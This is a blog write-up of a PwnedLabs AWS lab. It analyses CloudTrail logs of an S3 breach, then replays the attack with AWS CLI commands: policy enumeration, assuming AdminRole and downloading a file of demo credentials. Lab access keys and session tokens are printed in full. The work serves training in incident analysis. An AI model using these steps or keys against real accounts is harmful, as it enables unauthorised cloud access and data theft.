PwnedLabs - Breach Into The Cloud

Summary

In this blog. we will take a look at the "PwnedLabs - Breach into the cloud" where AWS S3 bucket breach takes place and analyze the logs into AWS Cloud Trail. Then replicate the attacker's footsteps to get the flag.

Topics Covered

Here are the topics which will be covered-

What is AWS S3 Bucket?
What is AWS CloudTrail?
Lay of the attack chain.
Analyzing CloudTrail Logs.
Re-creating attacker's footstep.

AWS S3 Buckets(Short Introduction)

Amazon Simple Storage Service (Amazon S3) is a scalable object storage service provided by Amazon Web Services (AWS). S3 is designed to store and retrieve any amount of data from anywhere on the web. One of the key feature it has is called "Buckets"

Amazon S3 buckets are similar to file folders and can be used to store, retrieve, back up and access objects. Each object has three main components -- the object's content or data, a unique identifier for the object and the descriptive metadata, including the object's name, URL and size.

AWS CloudTrail is a service that enables governance, compliance, operational auditing, and risk auditing of your AWS account. It provides a comprehensive event history of your AWS infrastructure, including changes to resources and API activity.

Here are some of the key features -

Event Logging
Log Files
Encryption
Event History

and many more. Here is a example of AWS Cloud Trail in an environment.

Attack Scenario

Official scenario description.

In this lab, we are alerted of a security incident that has occurred in an AWS account. We have been provided with Cloudtrail logs of the AWS account together with its Access Keys and Secret Keys. The logs contain all the activities that happened during the incident. Also, we are to confirm the breach happened by analyzing the Cloudtrail log files and identifying the compromised AWS service and any data that was exfiltrated.

Before we move forward in the lab. I would like to visualize the whole attack chain.

The attacker has compromised an IAM User called "temp-user".
After enumerating the policies it assumes the role called "AdminRole".
After assuming the role it interacts with a S3 bucket called "Emergency-data-recovery" and fetches the emergency.txt file.
The whole environments is monitored by AWS CloudTrail

Setup

Now grab the AWS Access and Secret keys provided, then set it up using AWS CLI

root@kali ~/p/breach-in-the-cloud# aws configure --profile initial-user
AWS Access Key ID [None]: AKIARSCCN4A3WD4RO4P4
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]:

For this demonstration I've named the profile as "initial-user"

Now for the log files. Those will be available in the PwnedLabs discord channel.

Then unzip the files.

root@kali ~/p/breach-in-the-cloud# unzip INCIDENT-3252.zip 
Archive:  INCIDENT-3252.zip
  inflating: 107513503799_CloudTrail_us-east-1_20230826T2035Z_PjmwM7E4hZ6897Aq.json  
  inflating: 107513503799_CloudTrail_us-east-1_20230826T2040Z_UkDeakooXR09uCBm.json  
  inflating: 107513503799_CloudTrail_us-east-1_20230826T2050Z_iUtQqYPskB20yZqT.json  
  inflating: 107513503799_CloudTrail_us-east-1_20230826T2055Z_W0F5uypAbGttUgSn.json  
  inflating: 107513503799_CloudTrail_us-east-1_20230826T2100Z_APB7fBUnHmiWjHtg.json  
  inflating: 107513503799_CloudTrail_us-east-1_20230826T2105Z_fpp78PgremAcrW5c.json  
  inflating: 107513503799_CloudTrail_us-east-1_20230826T2120Z_UCUhsJa0zoFY3ZO0.json

There are lot of JSON files we can merge them into one using the 'jq' tool.

cat 107513503799_CloudTrail_us-east-1_20230826T2* | jq > audit-log.json

AWS CloudTrail Log Analysis.

Now let's start analyzing the AWS CloudTrail JSON log files.

But before let's get the actual username of the username which was compromised using the "get-caller-identity"

root@kali ~/p/breach-in-the-cloud# aws sts get-caller-identity --profile initial-user --region us-east-1
{
    "UserId": "AIDARSCCN4A3X2YWZ37ZI",
    "Account": "107513503799",
    "Arn": "arn:aws:iam::107513503799:user/temp-user"
}

The username is "temp-user"

Now looking at the JSON logs for the activities related to the user "temp-user".

The attacker uses the "get-caller-identity" to enumerate the username.

The attacker then tries to list the objects using the "list-objects" on a AWS S3 Bucket named as "emergency-data-recovery" but got "AccessDenied" error because of inadequete permissions.

The attacker also tried to list the instance profiles using the "list-instance-profiles" but got an error. There are lot of enumeration events in the logs which indicates that the attackers were noisy and indicates the possible usage of the AWS exploitation framework called "PACU".

One thing to notice is that origin of the IP address is 84.32.71.18

If we track this IP address

root@kali ~/p/breach-in-the-cloud# curl ipinfo.io/84.32.71.19
{
  "ip": "84.32.71.19",
  "city": "Ankara",
  "region": "Ankara",
  "country": "TR",
  "loc": "39.9199,32.8543",
  "org": "AS137409 GSL Networks Pty LTD",
  "postal": "06420",
  "timezone": "Europe/Istanbul",
  "readme": "https://ipinfo.io/missingauth"
}⏎

The country of origin is Turkey.

Now moving further in analysis.

It shows that the attacker assumed the role called "AdminRole" and dump the role keys.

After assuming the "AdminRole" role it uses "GetObject" to fetch the "emergency.txt" from the "emergency-data-recovery" S3 bucket.

Re-creating The Attack

Now after looking at the log, let's re-create the attacker path.

Listing the policy for the compromised IAM user "temp-user"

root@kali ~/p/breach-in-the-cloud# aws iam list-user-policies --user-name temp-user --profile initial-user --region us-east-1
{
    "PolicyNames": [
        "test-temp-user"
    ]
}

Policy name - "test-temp-user". Lets enumerate the policy.

root@kali ~/p/breach-in-the-cloud# aws iam get-user-policy --user-name temp-user --policy-name test-temp-user --profile initial-user --region us-east-1
{
    "UserName": "temp-user",
    "PolicyName": "test-temp-user",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Sid": "VisualEditor0",
                "Effect": "Allow",
                "Action": "sts:AssumeRole",
                "Resource": "arn:aws:iam::107513503799:role/AdminRole"
            }
        ]
    }
}

It can assume the role called "AdminRole". Now let's assume the role.

root@kali ~/p/breach-in-the-cloud# aws sts assume-role --role-arn arn:aws:iam::107513503799:role/AdminRole --role-session-name admin-session --profile initial-user --region us-east-1
{
    "Credentials": {
        "AccessKeyId": "ASIARSCCN4A34MR5GJBX",
        "SecretAccessKey": "UlbQ5JY/cohCajTp5tm0oD1KTyEQtN4Sn9qKVpF+",
        "SessionToken": "IQoJb3JpZ2luX2VjEPP//////////wEaCXVzLWVhc3QtMSJIMEYCIQDg81V3sGYAO+FNmsWFVW5vdYtORo2fh4eZwT4VQfUg+QIhAIXP0qluRaHGXT/9UmYvueB05ijuNh2Fqzu2VLyN6N9GKqMCCOv//////////wEQABoMMTA3NTEzNTAzNzk5IgxCw+6UKHNOlDp1yf4q9wGMMNfDpdbPOD3RYMuNL+xy2vzAKr6wz9b5Bb/0ounhjAke0DuehU3OgKsGCLAYo7UZbQoXjZIBpHvVNSrQFkkAlbiknBoRV0scZmMkzDI4WrqwkAes67SPz7uZsNGddZTob8/gT/Ui1tGhs624986Id31OCAlPG9sD6ltmuDu0KQ3XEkdHSjLNY2Ba4kQrMvH3sTqDg6wwknBr01g3KrBz17Tjbdx1qkQ5PwXHHMta5h4WFPdd+/Oj/v3BGHUiiCOZcDrpIa0rG0RXRLezJwSCR60o/7PvN9FQOAJ9wyKoQNzqvX3y8aIInvykOdal7EibOgvEtYlnMJ/osK8GOpwBG0/kSQxeOtnSaB2T9UZwzgY61sVIT0xkydNMkdPDeKPQ0bw+sgXCQoX1/H0DQhcncgqdpwNBe7+Pw+ZJftPx4TY6kyyAQrhMSy+B2Nxg8g/QU/DR49tOgVKd+m0JeB+OUIEsu5EKSwbLdJ5T814XMtMFkOAnbSqxHvPKo/FsagAqxkpf+nw7fbp8ho/6IvMV0tEFr3+G0QVJdEnY",
        "Expiration": "2024-03-09T11:04:15+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROARSCCN4A34V23XHK6I:admin-session",
        "Arn": "arn:aws:sts::107513503799:assumed-role/AdminRole/admin-session"
    }
}

Now configure the role.

root@kali ~/p/breach-in-the-cloud# cat ~/.aws/credentials
[initial-user]
aws_access_key_id = AKIARSCCN4A3WD4RO4P4
aws_secret_access_key = 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
[admin-role]
aws_access_key_id = ASIARSCCN4A34MR5GJBX
aws_secret_access_key = UlbQ5JY/cohCajTp5tm0oD1KTyEQtN4Sn9qKVpF+
aws_session_token = IQoJb3JpZ2luX2VjEPP//////////wEaCXVzLWVhc3QtMSJIMEYCIQDg81V3sGYAO+FNmsWFVW5vdYtORo2fh4eZwT4VQfUg+QIhAIXP0qluRaHGXT/9UmYvueB05ijuNh2Fqzu2VLyN6N9GKqMCCOv//////////wEQABoMMTA3NTEzNTAzNzk5IgxCw+6UKHNOlDp1yf4q9wGMMNfDpdbPOD3RYMuNL+xy2vzAKr6wz9b5Bb/0ounhjAke0DuehU3OgKsGCLAYo7UZbQoXjZIBpHvVNSrQFkkAlbiknBoRV0scZmMkzDI4WrqwkAes67SPz7uZsNGddZTob8/gT/Ui1tGhs624986Id31OCAlPG9sD6ltmuDu0KQ3XEkdHSjLNY2Ba4kQrMvH3sTqDg6wwknBr01g3KrBz17Tjbdx1qkQ5PwXHHMta5h4WFPdd+/Oj/v3BGHUiiCOZcDrpIa0rG0RXRLezJwSCR60o/7PvN9FQOAJ9wyKoQNzqvX3y8aIInvykOdal7EibOgvEtYlnMJ/osK8GOpwBG0/kSQxeOtnSaB2T9UZwzgY61sVIT0xkydNMkdPDeKPQ0bw+sgXCQoX1/H0DQhcncgqdpwNBe7+Pw+ZJftPx4TY6kyyAQrhMSy+B2Nxg8g/QU/DR49tOgVKd+m0JeB+OUIEsu5EKSwbLdJ5T814XMtMFkOAnbSqxHvPKo/FsagAqxkpf+nw7fbp8ho/6IvMV0tEFr3+G0QVJdEnY

Confirming the configuration.

root@kali ~/p/breach-in-the-cloud# aws sts get-caller-identity --profile admin-role --region us-east-1
{
    "UserId": "AROARSCCN4A34V23XHK6I:admin-session",
    "Account": "107513503799",
    "Arn": "arn:aws:sts::107513503799:assumed-role/AdminRole/admin-session"
}

Now listing the files inside the S3 bucket "emergency-data-recovery"

root@kali ~/p/breach-in-the-cloud# aws s3 ls s3://emergency-data-recovery --profile admin-role --region us-east-1
2023-08-26 17:07:50       2232 emergency.txt
2023-08-26 18:19:02        236 message.txt

Fetching the "emergency.txt" file.

root@kali ~/p/breach-in-the-cloud# aws s3 cp s3://emergency-data-recovery/emergency.txt . --profile admin-role --region us-east-1
download: s3://emergency-data-recovery/emergency.txt to ./emergency.txt

Listing the flag.

root@kali ~/p/breach-in-the-cloud# cat emergency.txt 
=========== Huge Logistics Emergency Recovery Plan ===========

flag: 3eb222cf55522f0f321f1ed5ed9a3663

Purpose: This document provides a reference to essential credentials and steps to be taken during a disaster recovery scenario

---------------------
Date of Last Update: 8/26
Updated By: Jose
---------------------

--- On-Premise Systems ---

1. System Name: ERP System
   - Access URL/Endpoint: http://erpsystem.hugelogistics.local
   - Username: admin_erp
   - Password: dem0Passw0rd!ERP
   - Recovery Steps:
     1. Access the ERP System administrative console through the provided URL.
     2. Check system status and logs for any anomalies.
     3. Restore from the most recent backup if data corruption is detected.

2. System Name: Warehouse Management System
   - Access URL/Endpoint: http://warehouse.hugelogistics.local
   - Username: admin_warehouse
   - Password: dem0Passw0rd!WMS
   - Recovery Steps:
     1. Verify physical server integrity in the on-premise server room.
     2. Restart services related to the warehouse system.
     3. Confirm synchronization with other integrated systems.

--- Cloud Systems ---

1. System Name: Cloud-based Customer Portal
   - Cloud Provider: AWS
   - Access URL/Endpoint: http://customerportal.hugelogistics.com
   - IAM Role ARN: arn:aws:iam::accountID:role/DR_Role
   - Access Key: AKIAD3M0EX4MPL3DEMO
   - Secret Key: wJalrXUtnFEMI/K7MDENG/dem0accessKEY
   - Recovery Steps:
     1. Log into AWS Management Console with the provided IAM role.
     2. Navigate to EC2 Dashboard and verify the health of customer portal instances.
     3. Inspect CloudWatch Logs for any suspicious activities or system errors.

2. System Name: Cloud-based Tracking System
   - Cloud Provider: Azure
   - Access URL/Endpoint: http://tracking.hugelogistics.com
   - Service Principal ID: c2569dc2-eg1f-11ea-adc1-DEMOPRINCIPAL
   - Client Secret: 12345678-abcd-1234-efgh-56789abcdef01
   - Recovery Steps:
     1. Access Azure Portal and navigate to the Tracking System's Resource Group.
     2. Review the Application Insights associated with the tracking system.
     3. Perform a failover if primary region is experiencing issues.

Conclusion

As we saw in this lab, we used a purple team approach to first analyze the AWS Cloud Trail logs and then re-create the attacker's path to confirm a successful breach.

PreviousCloudGoat - Vulnerable Lambda NextPwnedLabs - Exploiting Weak Bucket Policies

Last updated 1 month ago